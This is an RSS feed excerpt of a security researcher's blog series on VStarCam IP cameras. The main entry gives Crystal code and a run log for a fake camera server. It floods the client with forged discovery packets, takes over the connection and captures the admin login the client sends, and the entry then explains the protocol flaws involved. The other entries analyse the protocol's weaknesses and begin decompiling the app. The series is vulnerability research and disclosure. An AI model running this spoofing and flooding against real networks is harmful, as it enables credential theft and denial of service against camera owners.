      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/8.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Exploitation</category>
      <category domain="skill-slug">exploitation</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Exploitation</dc:subject>
      <category domain="skill">Exploit PoC Development</category>
      <category domain="skill-slug">exploit_poc</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Exploit PoC Development</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <description><![CDATA[<p>The new goal is to write a fake camera server, a piece of software that will pretend to be a camera, to the client, and use it to pry information out. Where do we start?</p>
<p>First thing I did was sit down and flesh out a basic connection process.</p>
<p>1. Wait for DBP from client (f130 from 8600) (client to 255.255.255.255) 2. Capture DBR from camera  (44480108 from 6801) (camera to 255.255.255.255) * Get UID, change IP, MAC, and/or other info. 3. Spam DBR at client (to beat out camera.) 4. Wait for BCP from client 5. Send BPS to client 6. Wait for BPS from client 7. Forge BPA to client. 8. Main phase, ping pong, wait for a GET with login params. 9. Once we get password, send disconnect, and close server.</p>
<h2>Capture DBP from client</h2>
<p>The client is going to send a DBP out to discover camera on the network, we need to listen for this so we can determine what IP address the client is at.</p>
<pre class="code-block"><code>def listen_for_client_dbp
  # TODO: ADD TIMEOUTS!
  got_dbp = false
  LOG.info(&quot;Waiting to receive the DBP from a client&quot;)
  until got_dbp
    potential_dbp = @db_camera_sock.receive
    got_dbp = true if potential_dbp[0] == DBP
  end
  got_dbp
end</code></pre>
<h2>Capture DBR from the camera</h2>
<p>The camera will send out the DBR, we need to capture that and hold it for replay.</p>
<pre class="code-block"><code>def listen_for_camera_dbr
  # TODO: ADD TIMEOUTS!
  got_dbr = false
  LOG.info(&quot;Waiting to receive the DBR from a camera&quot;)

  until got_dbr
    potential_dbr = @db_client_sock.receive
    LOG.info(&quot;Got a potential DBR from a client&quot;)

    if potential_dbr[0][0..3] == DBR_HEADER
      got_dbr = true
      @camera = potential_dbr[1]
      LOG.info &quot;GOT DBR TARGET #{@camera}&quot;
    end
  end
  if potential_dbr
    @dbr = Client.parse_dbr potential_dbr
    @dbr
  else
    nil
  end
end</code></pre>
<h2>Spam DBR</h2>
<p>Now, we need to both, disrupt connection of the camera, as well as flood our client with DBR. This step took me a while to figure out, and I ran through a whole load of things to try and disrupt the camera. Before I discovered this DoS, I would literally just simulate a disconnect on the camera by unplugging it from the network.</p>
<p>Some things I tried,</p>
<ul>
  <li>UDP Flooding</li>
  <li>Connection spamming</li>
</ul>
<p><em> Opening up connections with the camera and disconnecting constantly. </em> EX: DBP -&gt; DBR -&gt; BCP -&gt; BPS -&gt; BPA -&gt; RESTART * Hangs camera a bit, as it waits for and tracks ping-pong through the protocol.</p>
<ul>
  <li>Broadcast flooding</li>
</ul>
<p>* Flooding the broadcast with DBP/BCP to tie up camera resources.</p>
<p>In the end after quite a lot of testing I used this tactic to get it to disrupt, flooding the client with DBR, which luckily disconnects the client from the camera, and when it reconnects, our DBR will always be first to the connection.</p>
<pre class="code-block"><code># We just need to get our DBR in before the camera.
def spam_dbr(dbr)
  @spam_dbr = true
  LOG.info &quot;Spamming DBR!&quot;
  spam_fiber = spawn do
    while @spam_dbr
      begin
        send_dbr(dbr)
        sleep 0.000001
      rescue e
        LOG.info &quot;SPAM DBR EXCEPTION #{e}&quot;
      end
    end
    LOG.info &quot;Spamming DBR Finished!&quot;
  end
end</code></pre>
<h2>Handle BP Handshake</h2>
<p>Now that the spam fiber is running in the background, we need to wait for BCP, once we get it we will send the BPS, wait for reply, the send four BPA. Our tick will have this inside.</p>
<pre class="code-block"><code>elsif state == :listen_for_client_bcp
  listen_for_client_bcp
  change_state :send_bps
elsif state == :send_bps
  send_bps @dbr[:uid]
  change_state :receive_bps
elsif state == :receive_bps
  if receive_bps(5)
    @spam_dbr = false
    change_state :send_4_bpa
  else
    change_state :listen_for_client_bcp
  end
elsif state == :send_4_bpa
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_pong
  if wait_for_client_ping(5)
    change_state :main_phase
  else
    change_state :spam
  end</code></pre>
<h2>Waiting for Ping</h2>
<p>We need to verify the client really is targeting us, so we send a pong, if we get a ping back, we have initiated connection. I implemented a basic timeout for the connection that will change the state back to the start if there was an issue.</p>
<pre class="code-block"><code>def wait_for_client_ping(timeout)
  LOG.info &quot;Waiting for client ping&quot;
  ping_channel = Channel(Bool).new

  main_fiber = spawn do
    got_ping = false
    until got_ping
      potential_ping = @data_channel.receive
      if potential_ping[0] == PING_PACKET
        got_ping = true
      elsif potential_ping[0] == UNBLOCK_FIBER_DATA
        break
      end
    end
    ping_channel.send got_ping
  end
  timeout_fiber = spawn do
    sleep timeout
    unblock_data
  end
  got_ping = ping_channel.receive
  if got_ping
    LOG.info &quot;PING SUCCESSFUL&quot;
  else
    LOG.info &quot;PING UNSUCCESSFUL&quot;
  end
  got_ping
end</code></pre>
<h2>Getting the Password</h2>
<p>At this point we have done everything we needed, and the client should be spilling it&#39;s guts to us.</p>
<pre class="code-block"><code>[Running] crystal &quot;/home/ian/Documents/crystal/vstarcam-investigational-journey/client/src/sandbox.cr&quot;
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Opening ports
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Ports opened
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Waiting to receive the DBP from a client
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to listen_for_camera_dbr
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Waiting to receive the DBR from a camera
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Got a potential DBR from a client
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : GOT DBR TARGET 192.168.11.140:8600
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Parsed new target camera {:camera_ip =&gt; &quot;192.168.11.140&quot;, :netmask =&gt; &quot;255.255.255.0&quot;, :gateway =&gt; &quot;192.168.11.1&quot;, :dns1 =&gt; &quot;8.8.8.8&quot;, :dns2 =&gt; &quot;192.168.11.1&quot;, :mac_address =&gt; &quot;48:02:2A:0B:DB:B4&quot;, :http_port =&gt; &quot;47250&quot;, :uid =&gt; &quot;VSTB668515UZCPK&quot;, :name =&gt; &quot;IPMAN&quot;, :ddns_ip =&gt; &quot;48.53.72.104&quot;, :unknown1 =&gt; &quot;\u0001&quot;, :ddns_url =&gt; &quot;user2.ipcam.so&quot;, :sn =&gt; &quot;dqqlz&quot;, :ddns_password =&gt; &quot;252926&quot;}
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to spam
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Spamming DBR!
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to send_bps
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : BPS SUCCESSFUL
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to send_4_bpa
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Waiting for client ping
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Spamming DBR Finished!
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : PING SUCCESSFUL
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : Changing to main_phase
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;
I, [2019-03-13 20:24:34 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:35 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : RECEIVED DISCONNECT FROM CLIENT
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to spam
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Spamming DBR!
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to send_bps
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:42 -07:00 #25421]  INFO -- : BPS UNSUCCESSFUL
I, [2019-03-13 20:24:42 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp</code></pre>
<p><a href="https://youtu.be/gcYaoL-1D04?t=222">Beautipul</a></p>
<h2>Why does it work?</h2>
<p>The client has very weak checks in place for the camera, it doesn&#39;t keep track of the IP address and MAC address of the camera, which makes spoofing unnecessary. It doesn&#39;t parse fields in the DBR properly (or at all) or simply ignores them. You can literally echo the packet you got from the camera, with all the same fields at the client and it doesn&#39;t even care, it just keeps track of the IP of the camera based on incoming connection, not even validating the info in the DBR. Also a flaw in the processing of DBR by the client causes a DoS against the camera, not allowing it to connect to the client. All this could have been prevented in the first place if they just would have not broadcasted the DBR, there is actually no need.</p>
<p>In short, there are a couple vulnerabilities this relies on</p>
<ul>
  <li>Improper connection tracking</li>
  <li>Improper parsing/validating of DBR fields</li>
  <li>Broadcasting DBR</li>
  <li>Client improperly handling DBR flood.</li>
  <li>Client improperly handling sensitive data</li>
</ul>
<p>These could not have been found if it wasn&#39;t for tireless testing of the camera and familiarity of the device, and yet it is still just a stepping stone to a much larger potential exploit, auto_download.cgi.</p>
]]></description>
      <content:encoded><![CDATA[<p>The new goal is to write a fake camera server, a piece of software that will pretend to be a camera, to the client, and use it to pry information out. Where do we start?</p>
<p>First thing I did was sit down and flesh out a basic connection process.</p>
<p>1. Wait for DBP from client (f130 from 8600) (client to 255.255.255.255) 2. Capture DBR from camera  (44480108 from 6801) (camera to 255.255.255.255) * Get UID, change IP, MAC, and/or other info. 3. Spam DBR at client (to beat out camera.) 4. Wait for BCP from client 5. Send BPS to client 6. Wait for BPS from client 7. Forge BPA to client. 8. Main phase, ping pong, wait for a GET with login params. 9. Once we get password, send disconnect, and close server.</p>
<h2>Capture DBP from client</h2>
<p>The client is going to send a DBP out to discover camera on the network, we need to listen for this so we can determine what IP address the client is at.</p>
<pre class="code-block"><code>def listen_for_client_dbp
  # TODO: ADD TIMEOUTS!
  got_dbp = false
  LOG.info(&quot;Waiting to receive the DBP from a client&quot;)
  until got_dbp
    potential_dbp = @db_camera_sock.receive
    got_dbp = true if potential_dbp[0] == DBP
  end
  got_dbp
end</code></pre>
<h2>Capture DBR from the camera</h2>
<p>The camera will send out the DBR, we need to capture that and hold it for replay.</p>
<pre class="code-block"><code>def listen_for_camera_dbr
  # TODO: ADD TIMEOUTS!
  got_dbr = false
  LOG.info(&quot;Waiting to receive the DBR from a camera&quot;)

  until got_dbr
    potential_dbr = @db_client_sock.receive
    LOG.info(&quot;Got a potential DBR from a client&quot;)

    if potential_dbr[0][0..3] == DBR_HEADER
      got_dbr = true
      @camera = potential_dbr[1]
      LOG.info &quot;GOT DBR TARGET #{@camera}&quot;
    end
  end
  if potential_dbr
    @dbr = Client.parse_dbr potential_dbr
    @dbr
  else
    nil
  end
end</code></pre>
<h2>Spam DBR</h2>
<p>Now, we need to both, disrupt connection of the camera, as well as flood our client with DBR. This step took me a while to figure out, and I ran through a whole load of things to try and disrupt the camera. Before I discovered this DoS, I would literally just simulate a disconnect on the camera by unplugging it from the network.</p>
<p>Some things I tried,</p>
<ul>
  <li>UDP Flooding</li>
  <li>Connection spamming</li>
</ul>
<p><em> Opening up connections with the camera and disconnecting constantly. </em> EX: DBP -&gt; DBR -&gt; BCP -&gt; BPS -&gt; BPA -&gt; RESTART * Hangs camera a bit, as it waits for and tracks ping-pong through the protocol.</p>
<ul>
  <li>Broadcast flooding</li>
</ul>
<p>* Flooding the broadcast with DBP/BCP to tie up camera resources.</p>
<p>In the end after quite a lot of testing I used this tactic to get it to disrupt, flooding the client with DBR, which luckily disconnects the client from the camera, and when it reconnects, our DBR will always be first to the connection.</p>
<pre class="code-block"><code># We just need to get our DBR in before the camera.
def spam_dbr(dbr)
  @spam_dbr = true
  LOG.info &quot;Spamming DBR!&quot;
  spam_fiber = spawn do
    while @spam_dbr
      begin
        send_dbr(dbr)
        sleep 0.000001
      rescue e
        LOG.info &quot;SPAM DBR EXCEPTION #{e}&quot;
      end
    end
    LOG.info &quot;Spamming DBR Finished!&quot;
  end
end</code></pre>
<h2>Handle BP Handshake</h2>
<p>Now that the spam fiber is running in the background, we need to wait for BCP, once we get it we will send the BPS, wait for reply, the send four BPA. Our tick will have this inside.</p>
<pre class="code-block"><code>elsif state == :listen_for_client_bcp
  listen_for_client_bcp
  change_state :send_bps
elsif state == :send_bps
  send_bps @dbr[:uid]
  change_state :receive_bps
elsif state == :receive_bps
  if receive_bps(5)
    @spam_dbr = false
    change_state :send_4_bpa
  else
    change_state :listen_for_client_bcp
  end
elsif state == :send_4_bpa
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_pong
  if wait_for_client_ping(5)
    change_state :main_phase
  else
    change_state :spam
  end</code></pre>
<h2>Waiting for Ping</h2>
<p>We need to verify the client really is targeting us, so we send a pong, if we get a ping back, we have initiated connection. I implemented a basic timeout for the connection that will change the state back to the start if there was an issue.</p>
<pre class="code-block"><code>def wait_for_client_ping(timeout)
  LOG.info &quot;Waiting for client ping&quot;
  ping_channel = Channel(Bool).new

  main_fiber = spawn do
    got_ping = false
    until got_ping
      potential_ping = @data_channel.receive
      if potential_ping[0] == PING_PACKET
        got_ping = true
      elsif potential_ping[0] == UNBLOCK_FIBER_DATA
        break
      end
    end
    ping_channel.send got_ping
  end
  timeout_fiber = spawn do
    sleep timeout
    unblock_data
  end
  got_ping = ping_channel.receive
  if got_ping
    LOG.info &quot;PING SUCCESSFUL&quot;
  else
    LOG.info &quot;PING UNSUCCESSFUL&quot;
  end
  got_ping
end</code></pre>
<h2>Getting the Password</h2>
<p>At this point we have done everything we needed, and the client should be spilling it&#39;s guts to us.</p>
<pre class="code-block"><code>[Running] crystal &quot;/home/ian/Documents/crystal/vstarcam-investigational-journey/client/src/sandbox.cr&quot;
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Opening ports
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Ports opened
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Waiting to receive the DBP from a client
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to listen_for_camera_dbr
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Waiting to receive the DBR from a camera
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Got a potential DBR from a client
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : GOT DBR TARGET 192.168.11.140:8600
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Parsed new target camera {:camera_ip =&gt; &quot;192.168.11.140&quot;, :netmask =&gt; &quot;255.255.255.0&quot;, :gateway =&gt; &quot;192.168.11.1&quot;, :dns1 =&gt; &quot;8.8.8.8&quot;, :dns2 =&gt; &quot;192.168.11.1&quot;, :mac_address =&gt; &quot;48:02:2A:0B:DB:B4&quot;, :http_port =&gt; &quot;47250&quot;, :uid =&gt; &quot;VSTB668515UZCPK&quot;, :name =&gt; &quot;IPMAN&quot;, :ddns_ip =&gt; &quot;48.53.72.104&quot;, :unknown1 =&gt; &quot;\u0001&quot;, :ddns_url =&gt; &quot;user2.ipcam.so&quot;, :sn =&gt; &quot;dqqlz&quot;, :ddns_password =&gt; &quot;252926&quot;}
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to spam
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Spamming DBR!
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to send_bps
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : BPS SUCCESSFUL
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to send_4_bpa
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Waiting for client ping
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Spamming DBR Finished!
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : PING SUCCESSFUL
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : Changing to main_phase
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;
I, [2019-03-13 20:24:34 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:35 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : RECEIVED DISCONNECT FROM CLIENT
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to spam
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Spamming DBR!
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to send_bps
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:42 -07:00 #25421]  INFO -- : BPS UNSUCCESSFUL
I, [2019-03-13 20:24:42 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp</code></pre>
<p><a href="https://youtu.be/gcYaoL-1D04?t=222">Beautipul</a></p>
<h2>Why does it work?</h2>
<p>The client has very weak checks in place for the camera, it doesn&#39;t keep track of the IP address and MAC address of the camera, which makes spoofing unnecessary. It doesn&#39;t parse fields in the DBR properly (or at all) or simply ignores them. You can literally echo the packet you got from the camera, with all the same fields at the client and it doesn&#39;t even care, it just keeps track of the IP of the camera based on incoming connection, not even validating the info in the DBR. Also a flaw in the processing of DBR by the client causes a DoS against the camera, not allowing it to connect to the client. All this could have been prevented in the first place if they just would have not broadcasted the DBR, there is actually no need.</p>
<p>In short, there are a couple vulnerabilities this relies on</p>
<ul>
  <li>Improper connection tracking</li>
  <li>Improper parsing/validating of DBR fields</li>
  <li>Broadcasting DBR</li>
  <li>Client improperly handling DBR flood.</li>
  <li>Client improperly handling sensitive data</li>
</ul>
<p>These could not have been found if it wasn&#39;t for tireless testing of the camera and familiarity of the device, and yet it is still just a stepping stone to a much larger potential exploit, auto_download.cgi.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Exploitation</strong> (<em>Security</em>) &bull; 6 years &mdash; Developing proof-of-concept exploits to validate security vulnerabilities in binaries, network daemons, and web apps. [<a href="https://www.exploit-db.com">Exploit_db</a>]</li>
    <li><strong>Exploit PoC Development</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Firmware Analysis</title>
      <link>https://sol.vin/vstarcam_journey/7.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/7.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Hardware Security</category>
      <category domain="skill-slug">hardware_security</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Hardware Security</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <category domain="skill">Linux Kernel</category>
      <category domain="skill-slug">linux_kernel</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Linux Kernel</dc:subject>
      <description><![CDATA[<p>Now that we are at the point of near 100% protocol coverage, we can start to think about some ways that we could potentially abuse the protocol, and the devices behind them. One thing I noticed after completely tearing down every packet in the connection process, was that all the information needed to impersonate the camera is sent to broadcast. This means that even when connected directly through LAN, the camera could potentially be impersonated by anyone on the same subnet. A couple things also hint at this.</p>
<p>1. The IP address of the camera can change, and the client must be able to respond to this change. * This means that chances are the protocol checks IP address very weakly, and might be vulnerable to someone using a different IP address. 2. The device itself is not very powerful, so corners were most likely cut in software to save money/processing power. It&#39;s likely that certain kinds of checks where overlooked, especially when security was obviously not the goal in mind with the camera. 3. The device may or may not parse all fields in the packets (DBR, BPS, BPA) so it might be easy for us to replay packets without having to know exactly what a field does.</p>
<p>Flaws in the camera programming, as well as the client protocol, also give out too much information. The camera (for seemingly no reason) sends the DBR, which contains all the info we need to impersonate, to broadcast. The client also initiates connection over broadcast (although later switching to direct communications later). Looking at these things, there is a very real possibility of a vulnerability here. We may need to swap fields out of the DBR, or change our MAC address to conform to the clients checks, but it should be possible.</p>
]]></description>
      <content:encoded><![CDATA[<p>Now that we are at the point of near 100% protocol coverage, we can start to think about some ways that we could potentially abuse the protocol, and the devices behind them. One thing I noticed after completely tearing down every packet in the connection process, was that all the information needed to impersonate the camera is sent to broadcast. This means that even when connected directly through LAN, the camera could potentially be impersonated by anyone on the same subnet. A couple things also hint at this.</p>
<p>1. The IP address of the camera can change, and the client must be able to respond to this change. * This means that chances are the protocol checks IP address very weakly, and might be vulnerable to someone using a different IP address. 2. The device itself is not very powerful, so corners were most likely cut in software to save money/processing power. It&#39;s likely that certain kinds of checks where overlooked, especially when security was obviously not the goal in mind with the camera. 3. The device may or may not parse all fields in the packets (DBR, BPS, BPA) so it might be easy for us to replay packets without having to know exactly what a field does.</p>
<p>Flaws in the camera programming, as well as the client protocol, also give out too much information. The camera (for seemingly no reason) sends the DBR, which contains all the info we need to impersonate, to broadcast. The client also initiates connection over broadcast (although later switching to direct communications later). Looking at these things, there is a very real possibility of a vulnerability here. We may need to swap fields out of the DBR, or change our MAC address to conform to the clients checks, but it should be possible.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Hardware Security</strong> (<em>Security</em>) &bull; 6 years &mdash; Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [<a href="https://en.wikipedia.org/wiki/Hardware_security">Wikipedia</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
    <li><strong>Linux Kernel</strong> (<em>Systems &amp; Security</em>) &bull; 14 years &mdash; In-depth Linux system administration, kernel diagnostics, performance tuning, and low-level system calls. [<a href="https://www.kernel.org">Kernel</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Reversing authentication</title>
      <link>https://sol.vin/vstarcam_journey/6.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/6.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Exploitation</category>
      <category domain="skill-slug">exploitation</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Exploitation</dc:subject>
      <category domain="skill">Exploit PoC Development</category>
      <category domain="skill-slug">exploit_poc</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Exploit PoC Development</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/wireshark/8.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/9.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/10.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/11.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/12.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/dengyi.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/laishao.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/PASSWORD.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/wireshark/8.png" />
      <description><![CDATA[<p>Now we are at the point where everything is coming together and now we need to know WHAT we can do with the device.</p>
<h2>Getting a list of CGI</h2>
<p>At this point, we have a working client (for the most part), now we need commands to run! We are going to explore a variety of ways we can get more info on the commands that are available to us.</p>
<h3>Wireshark and Testing Methodology</h3>
<p>We can use Wireshark as a sniffer to get the request strings we want. We just open the APP as usual, and try each and every single option, button, etc. Try to do anything that might generate a GET. Then filter the GET packets out in Wireshark.</p>
<h3>Decompiling APK</h3>
<p>We can use Android Studio&#39;s &quot;Debug and Profile APK&quot; feature to disassemble the APK into Smali. I didn&#39;t know anything about Smali before messing around with this project, so pardon me if I get things wrong, I never really learned the language, I just used intuition on most of this.</p>
